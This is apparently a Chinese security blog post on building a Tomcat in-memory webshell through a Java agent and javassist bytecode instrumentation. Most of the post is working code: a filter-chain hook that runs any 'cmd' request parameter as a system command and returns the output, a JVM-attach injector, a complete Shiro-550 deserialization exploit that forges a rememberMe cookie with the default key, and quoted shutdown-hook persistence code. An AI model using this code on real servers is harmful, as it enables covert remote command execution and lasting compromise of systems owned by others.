本文将要讲解的是通过Java agent拦截修改关键类的字节码，最大程度实现一套代码通用注入内存shell。
简述内存shell
Java内存shell有很多种，大致分为：
- 动态注册servlet
- 动态注册filter
- 动态注册listener
- 基于Java agent拦截修改关键类字节码实现内存shell
前三种方法在 《JSP Webshell那些事 – 攻击篇(下)》 一文中均有讲解，但是前三种方法均需要对中间件大量调试，反射调用一步一步的链条，对于大型中间件比如weblogic这种比较麻烦，无法实现一套代码通用。
那么本文将要讲解的最后一种方法，通过拦截修改关键类的字节码，只需要寻找到关键类做处理即可，进而最大程度实现一套代码通用（理论上）。
简单认识Java Agent
在jdk的rt.jar包中存在一个java.lang.instrument包，该包提供了一些工具帮助开发人员在 Java 程序运行时，动态修改系统中的 Class 类型。其中，使用该软件包的一个关键组件就是 Javaagent。从名字上看，似乎是个 Java 代理之类的，而实际上，他的功能更像是一个Class 类型的转换器，他可以在运行时接受重新外部请求，对Class类型进行修改。
Javaagent是java命令的一个参数。参数 javaagent 可以用于指定一个 jar 包，并且对该 java 包有2个要求：
- 这个 jar 包的
MANIFEST.MF文件必须指定Premain-Class项。 Premain-Class指定的那个类必须实现 premain() 方法。
JVM启动时会优先加载agent里面的东西，我们写一个简单的agent来看一下。
项目结构
└───src
└───org
└───chabug
Agent.java
DefineTransformer.java
org.chabug.Agent.java
package org.chabug;
import java.lang.instrument.Instrumentation;
public class Agent {
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("agentArgs : " + agentArgs);
inst.addTransformer(new DefineTransformer(), true);
}
}
org.chabug.DefineTransformer.java
package org.chabug;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class DefineTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("premain load Class:" + className);
return new byte[0];
}
}
然后配置打包文件src\META-INF\MANIFEST.MF
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: org.chabug.Agent
idea打包为jar文件之后，创建一个新的类org.chabug.Main测试agent
package org.chabug;
public class Main {
public static void main(String[] args) {
System.out.println("thisismain");
}
}
idea设置运行时vm参数-javaagent:out\artifacts\TestAgent_jar\TestAgent.jar
运行结果
agentArgs : null
premain load Class:java/util/concurrent/ConcurrentHashMap$ForwardingNode
premain load Class:sun/misc/URLClassPath$JarLoader$2
premain load Class:java/util/jar/Attributes
premain load Class:java/util/jar/Manifest$FastInputStream
premain load Class:java/lang/StringCoding
premain load Class:java/lang/StringCoding$StringDecoder
premain load Class:java/util/jar/Attributes$Name
premain load Class:sun/misc/ASCIICaseInsensitiveComparator
premain load Class:com/intellij/rt/execution/application/AppMainV2$Agent
premain load Class:com/intellij/rt/execution/application/AppMainV2
premain load Class:com/intellij/rt/execution/application/AppMainV2$1
premain load Class:java/lang/reflect/InvocationTargetException
premain load Class:java/lang/NoSuchMethodException
premain load Class:java/net/Socket
premain load Class:java/net/InetSocketAddress
premain load Class:java/net/SocketAddress
premain load Class:java/net/InetAddress
premain load Class:java/net/InetSocketAddress$InetSocketAddressHolder
premain load Class:sun/security/action/GetBooleanAction
premain load Class:java/lang/invoke/MethodHandleImpl
premain load Class:java/net/InetAddress$1
premain load Class:java/lang/invoke/MethodHandleImpl$1
premain load Class:java/lang/invoke/MethodHandleImpl$2
premain load Class:java/util/function/Function
premain load Class:java/net/InetAddress$InetAddressHolder
premain load Class:java/net/InetAddress$Cache
premain load Class:java/net/InetAddress$Cache$Type
premain load Class:java/net/InetAddressImplFactory
premain load Class:java/lang/invoke/MethodHandleImpl$3
premain load Class:java/lang/invoke/MethodHandleImpl$4
premain load Class:java/lang/ClassValue
premain load Class:java/net/Inet6AddressImpl
premain load Class:java/lang/ClassValue$Entry
premain load Class:java/net/InetAddressImpl
premain load Class:java/lang/ClassValue$Identity
premain load Class:java/lang/ClassValue$Version
premain load Class:java/lang/invoke/MemberName$Factory
premain load Class:java/net/InetAddress$2
premain load Class:java/lang/invoke/MethodHandleStatics
premain load Class:sun/net/spi/nameservice/NameService
premain load Class:java/lang/invoke/MethodHandleStatics$1
premain load Class:java/net/Inet4Address
premain load Class:java/net/SocksSocketImpl
premain load Class:java/net/SocksConsts
premain load Class:sun/misc/PostVMInitHook
premain load Class:java/net/PlainSocketImpl
premain load Class:sun/misc/PostVMInitHook$2
premain load Class:java/net/AbstractPlainSocketImpl
premain load Class:jdk/internal/util/EnvUtils
premain load Class:sun/misc/PostVMInitHook$1
premain load Class:java/net/SocketImpl
premain load Class:java/net/SocketOptions
premain load Class:sun/usagetracker/UsageTrackerClient
premain load Class:java/net/AbstractPlainSocketImpl$1
premain load Class:java/util/concurrent/atomic/AtomicBoolean
premain load Class:sun/usagetracker/UsageTrackerClient$1
premain load Class:java/net/PlainSocketImpl$1
premain load Class:sun/usagetracker/UsageTrackerClient$4
premain load Class:sun/misc/FloatingDecimal
premain load Class:sun/usagetracker/UsageTrackerClient$2
premain load Class:sun/misc/FloatingDecimal$ExceptionalBinaryToASCIIBuffer
premain load Class:sun/misc/FloatingDecimal$BinaryToASCIIConverter
premain load Class:sun/usagetracker/UsageTrackerClient$3
premain load Class:sun/misc/FloatingDecimal$BinaryToASCIIBuffer
premain load Class:sun/misc/FloatingDecimal$1
premain load Class:sun/misc/FloatingDecimal$PreparedASCIIToBinaryBuffer
premain load Class:sun/misc/FloatingDecimal$ASCIIToBinaryConverter
premain load Class:sun/misc/FloatingDecimal$ASCIIToBinaryBuffer
premain load Class:java/net/DualStackPlainSocketImpl
premain load Class:java/lang/StringCoding$StringEncoder
premain load Class:java/net/Inet6Address
premain load Class:java/io/FileOutputStream$1
premain load Class:java/net/Inet6Address$Inet6AddressHolder
premain load Class:sun/launcher/LauncherHelper
premain load Class:java/net/SocksSocketImpl$3
premain load Class:sun/nio/cs/MS1252
premain load Class:java/net/ProxySelector
premain load Class:sun/nio/cs/SingleByte
premain load Class:sun/net/spi/DefaultProxySelector
premain load Class:sun/nio/cs/SingleByte$Decoder
premain load Class:sun/net/spi/DefaultProxySelector$1
premain load Class:sun/net/NetProperties
premain load Class:sun/net/NetProperties$1
premain load Class:org/chabug/Main
premain load Class:sun/launcher/LauncherHelper$FXHelper
premain load Class:java/util/Properties$LineReader
premain load Class:java/lang/Class$MethodArray
premain load Class:java/lang/Void
thisismain
premain load Class:java/lang/Shutdown
premain load Class:java/net/URI
premain load Class:java/lang/Shutdown$Lock
可以看到agent的org.chabug.Agent#premain优于Main方法而先被运行，并且在org.chabug.DefineTransformer#transform获取到了JVM加载的类。
那么思路回到内存shell的思路中，如果我们把这个agent加载到jvm中，那么就可以通过javassist进行字节码插桩，修改tomcat的filter实现类，从而实现内存马。
现在的问题就在于：
- javassist 应该修改哪个关键类？
- 如何指定运行时tomcat的
-javaagent参数？ - 如何修改tomcat运行后已经加载的类？
- 如何通过反序列化注入
寻找关键类
tomcat filter内存shell有无数的分析文章，其中大部分都提到了一个关键类org.apache.catalina.core.ApplicationFilterChain#doFilter
该方法有ServletRequest和ServletResponse两个参数，里面封装了请求的request和response。另外，internalDoFilter方法是自定义filter的入口，如果在这里拦截，那么filter既通用，又不影响正常业务。
来写agent
package org.chabug;
import java.lang.instrument.Instrumentation;
public class MyAgent {
// tomcat FilterChain
public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String args, Instrumentation inst) throws Exception {
inst.addTransformer(new MyTransformer(), true);
Class[] loadedClasses = inst.getAllLoadedClasses();
for (int i = 0; i < loadedClasses.length; ++i) {
Class clazz = loadedClasses[i];
if (clazz.getName().equals(ClassName)) {
try {
inst.retransformClasses(new Class[]{clazz});
} catch (Exception var9) {
var9.printStackTrace();
}
}
}
// System.out.println("agent done");
}
public static void premain(String args, Instrumentation inst) throws Exception {
}
}
定义transform
package org.chabug;
import javassist.*;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class MyTransformer implements ClassFileTransformer {
public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace('/', '.');
if (className.equals(ClassName)) {
// System.out.println(":::::::::::::::::::find shiro ApplicationFilterChain:" + className);
ClassPool cp = ClassPool.getDefault();
if (aClass != null) {
ClassClassPath classPath = new ClassClassPath(aClass);
cp.insertClassPath(classPath);
}
CtClass cc;
try {
cc = cp.get(className);
CtMethod m = cc.getDeclaredMethod("doFilter");
m.insertBefore(" javax.servlet.ServletRequest req = request;\n" +
" javax.servlet.ServletResponse res = response;" +
"String cmd = req.getParameter(\"cmd\");\n" +
"if (cmd != null) {\n" +
"Process process = Runtime.getRuntime().exec(cmd);\n" +
"java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +
"new java.io.InputStreamReader(process.getInputStream()));\n" +
"StringBuilder stringBuilder = new StringBuilder();\n" +
"String line;\n" +
"while ((line = bufferedReader.readLine()) != null) {\n" +
"stringBuilder.append(line + '\\n');\n" +
"}\n" +
"res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +
"res.getOutputStream().flush();\n" +
"res.getOutputStream().close();\n" +
"}");
byte[] byteCode = cc.toBytecode();
cc.detach();
return byteCode;
} catch (NotFoundException | IOException | CannotCompileException e) {
e.printStackTrace();
// System.out.println("error:::::::::::::::::::::" + e.getMessage());
}
}
return new byte[0];
}
}
如何指定-javaagent参数
tomcat运行前我们无法控制命令行参数，但是运行时JVM提供了com.sun.tools.attach.VirtualMachine的api，可以通过这个类attach jvm，然后通过loadAgent()函数把agent加载进去。
然后在这里又碰到了坑，com.sun.tools.attach.VirtualMachine这个类是JDK的C:\Program Files\Java\jdk1.8.0_251\lib\tools.jar包中，在tomcat运行时是jre环境，获取不到这个类。我的办法是通过URLClassLoader加载java.home拼接出来的jar包路径，然后反射获取类和方法。
实现代码
package org.chabug;
public class Main {
public static void main(String[] args) throws Exception {
if (args.length == 0) {
return;
}
String agentPath = args[0];
try {
java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");
java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();
java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});
add.setAccessible(true);
add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod("list", new java.lang.Class[]{});
java.util.List<Object> invoke = (java.util.List<Object>) list.invoke(null, new Object[]{});
// System.out.println(invoke);
for (int i = 0; i < invoke.size(); i++) {
Object o = invoke.get(i);
java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", new Class[]{});
Object name = displayName.invoke(o, new Object[]{});
System.out.println(String.format("find jvm process name:[[[" +
"%s" +
"]]]", name.toString()));
if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{MyVirtualMachineDescriptor});
Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});
java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});
loadAgent.invoke(machine, new Object[]{agentPath});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", new Class[]{});
detach.invoke(machine, new Object[]{});
System.out.println("inject tomcat done, break.");
System.out.println("check url http://localhost:8080/?cmd=whoami");
break;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
运行这个类，传入agentPath就可以注入agent了。
在这里还碰到一个坑:VirtualMachine.list()获取为空，后来发现双击tomcat的startup.bat启动，在jconsole中也找不到jvm进程，然后一顿乱试发现通过命令行运行startup.bat就可以了。
如何修改tomcat运行后已经加载的类
其实这个问题在上面写agent的时候已经解决了，关键代码
Class[] loadedClasses = inst.getAllLoadedClasses();
for (int i = 0; i < loadedClasses.length; ++i) {
Class clazz = loadedClasses[i];
if (clazz.getName().equals(ClassName)) {
try {
inst.retransformClasses(new Class[]{clazz});
} catch (Exception e) {
e.printStackTrace();
}
}
}
通过Instrumentation的getAllLoadedClasses()就能拿到tomcat运行后已经加载的类，再通过retransformClasses()重新转换下就可以了。
如何通过反序列化注入
我这里是shiro550 tomcat9的环境，根据 https://github.com/feihong-cs/ShiroExploit 的ysoserial工具抠出来CC10的链条，改了改。
package org.chabug.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Reflections;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
// 依赖 commons-collections:commons-collections:3.2.1
// 依赖于 ysoserial javassist
public class CC10 {
static {
System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true");
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
}
public static Object createTemplatesImpl(String command) throws Exception {
return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl(String agentPath, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = String.format(
" try {\n" +
"java.io.File toolsJar = new java.io.File(System.getProperty(\"java.home\").replaceFirst(\"jre\", \"lib\") + java.io.File.separator + \"tools.jar\");\n" +
"java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();\n" +
"java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod(\"addURL\", new java.lang.Class[]{java.net.URL.class});\n" +
"add.setAccessible(true);\n" +
" add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});\n" +
"Class/*<?>*/ MyVirtualMachine = classLoader.loadClass(\"com.sun.tools.attach.VirtualMachine\");\n" +
" Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass(\"com.sun.tools.attach.VirtualMachineDescriptor\");" +
"java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod(\"list\", null);\n" +
" java.util.List/*<Object>*/ invoke = (java.util.List/*<Object>*/) list.invoke(null, null);" +
"for (int i = 0; i < invoke.size(); i++) {" +
"Object o = invoke.get(i);\n" +
" java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod(\"displayName\", null);\n" +
" Object name = displayName.invoke(o, null);\n" +
"if (name.toString().contains(\"org.apache.catalina.startup.Bootstrap\")) {" +
" java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod(\"attach\", new Class[]{MyVirtualMachineDescriptor});\n" +
" Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});\n" +
" java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod(\"loadAgent\", new Class[]{String.class});\n" +
" loadAgent.invoke(machine, new Object[]{\"%s\"});\n" +
" java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod(\"detach\", null);\n" +
" detach.invoke(machine, null);\n" +
" break;\n" +
"}" +
"}" +
"} catch (Exception e) {\n" +
" e.printStackTrace();\n" +
" }"
, agentPath.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\""));
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
byte[] classBytes = clazz.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, classAsBytes(Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
public static String classAsFile(Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str = str + ".class";
}
return str;
}
public static byte[] classAsBytes(Class<?> clazz) {
try {
byte[] buffer = new byte[1024];
String file = classAsFile(clazz);
InputStream in = CC10.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
} else {
ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
}
} catch (IOException var6) {
throw new RuntimeException(var6);
}
}
public static void main(String[] args) throws Exception {
// this is your agent path
String command = "E:\\code\\java\\MyAgent\\out\\artifacts\\MyAgent_jar\\MyAgent.jar";
Object templates = createTemplatesImpl(command);
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException var17) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = null;
innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException var16) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = new Object[0];
array = (Object[]) ((Object[]) f2.get(innimpl));
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception var15) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
byte[] bytes = Serializables.serializeToBytes(map);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);
System.out.println(rememberMe);
}
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
public Foo() {
}
}
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public StubTransletPayload() {
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
}
class Serializables {
public static byte[] serializeToBytes(final Object obj) throws Exception {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
objOut.flush();
objOut.close();
return out.toByteArray();
}
public static Object deserializeFromBytes(final byte[] serialized) throws Exception {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
public static void serializeToFile(String path, Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将obj对象写入object文件
os.writeObject(obj);
os.close();
}
public static Object serializeFromFile(String path) throws Exception {
FileInputStream fis = new FileInputStream(path);
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过Object的readObject()恢复对象
Object obj = ois.readObject();
ois.close();
return obj;
}
}
class EncryptUtil {
private static final String ENCRY_ALGORITHM = "AES";
private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes(); // 16字节IV
public EncryptUtil() {
}
public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
try {
SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
Cipher cipher = Cipher.getInstance(CIPHER_MODE);
IvParameterSpec iv = new IvParameterSpec(IV);
cipher.init(1, keySpec, iv);
byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
return cipherTextBytes;
} catch (NoSuchPaddingException var6) {
var6.printStackTrace();
} catch (NoSuchAlgorithmException var7) {
var7.printStackTrace();
} catch (BadPaddingException var8) {
var8.printStackTrace();
} catch (IllegalBlockSizeException var9) {
var9.printStackTrace();
} catch (InvalidKeyException var10) {
var10.printStackTrace();
} catch (Exception var11) {
var11.printStackTrace();
}
return null;
}
public static String shiroEncrypt(String key, byte[] objectBytes) {
byte[] pwd = Base64.decode(key);
byte[] cipher = encrypt(objectBytes, pwd);
assert cipher != null;
byte[] output = new byte[pwd.length + cipher.length];
byte[] iv = IV;
System.arraycopy(iv, 0, output, 0, iv.length);
System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
return Base64.encode(output);
}
}
在javassist插桩的时候碰到很多坑，比如泛型要用/**/包起来，反射的可变参数的处理等等，不一一细讲，参考我的代码就行了。
效果
项目地址：https://github.com/Y4er/javaagent-tomcat-memshell
思考
写到这里又看了一些文章，发现了一些问题。
内存shell复活
@rebeyond 师傅的memShell项目实现了内存shell复活，原理是通过设置Java虚拟机的关闭钩子ShutdownHook来达到这个目的，但是会有一个jar包循环等待jvm进程起来，更敏感，我就没实现这个东西，代码贴出来
public static void persist() {
try {
Thread t = new Thread() {
public void run() {
try {
writeFiles("inject.jar",Agent.injectFileBytes);
writeFiles("agent.jar",Agent.agentFileBytes);
startInject();
} catch (Exception e) {
}
}
};
t.setName("shutdown Thread");
Runtime.getRuntime().addShutdownHook(t);
} catch (Throwable t) {
}
}
JVM关闭前，会先调用writeFiles把inject.jar和agent.jar写到磁盘上，然后调用startInject，startInject通过Runtime.exec启动java -jar inject.jar。
文件落地并且被锁定
用javaagent的形式实现的内存shell，你需要落地一个agent进去，加载agent之后jar不能被删除，而落地agent会不会更敏感？
与其落地文件为什么不直接落地jsp shell，获取对于mvc和springboot这种有点作用，但是内存shell的意义确实被削弱了。
通用性
只需要寻找关键类即可，对于tomcat、weblogic这种还算通用，完全可以实现一个agent.jar通杀。
关键类寻找
如果关键类找不对，或者错了几个参数的命名，那么中间件正常处理filter的逻辑很可能发生错误，中间件很可能被打挂。虽然可以本地环境调试，但是每个发行版不同、补丁数的不同所带来的不稳定因素还是很大的。
结论
所以个人而言，agent类型的内存shell只能作为内存shell的一种开拓性思路，实际环境更应该倾向于servlet、filter这种内存shell，重在稳定。
参考
- https://www.cnblogs.com/rebeyond/p/9686213.html
- https://github.com/rebeyond/memShell
- https://www.cnblogs.com/rickiyang/p/11368932.html
- https://github.com/Y4er/javaagent-tomcat-memshell
文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。